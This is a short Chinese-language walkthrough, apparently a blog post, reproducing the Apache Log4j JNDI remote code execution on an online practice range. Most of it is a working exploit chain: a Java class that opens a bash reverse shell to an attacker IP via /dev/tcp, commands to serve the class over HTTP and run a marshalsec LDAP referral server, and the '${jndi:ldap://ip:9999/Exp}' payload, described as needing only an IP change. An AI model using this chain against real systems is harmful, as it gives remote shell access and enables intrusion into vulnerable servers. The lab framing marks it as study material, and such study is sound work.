
基于在线靶场的Apache Log4j任意代码执行复现
Apache Log4j任意代码执行复现
1、构造反序列化exp,改一下ip就好了
import java.lang.Process;
public class Exp {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/ip/12000 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
2、用javac编译一下
3、将刚刚得到的class放入我们即将开启的web目录里面,然后开启
python -m SimpleHTTPServer 80
4、访问效果可以看一下
5、然后我们去github上下一个ldap对应的注入工具
https://github.com/RandomRobbieBF/marshalsec-jar
6、然后执行以下命令
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://ip/#Exp" 9999
7、nc开启监听命令
8、准备工作搞完了,就直接payload
${jndi:ldap://ip:9999/Exp}
9、接着就弹shell了
评论
隐私政策
你无需删除空行,直接评论以获取最佳展示效果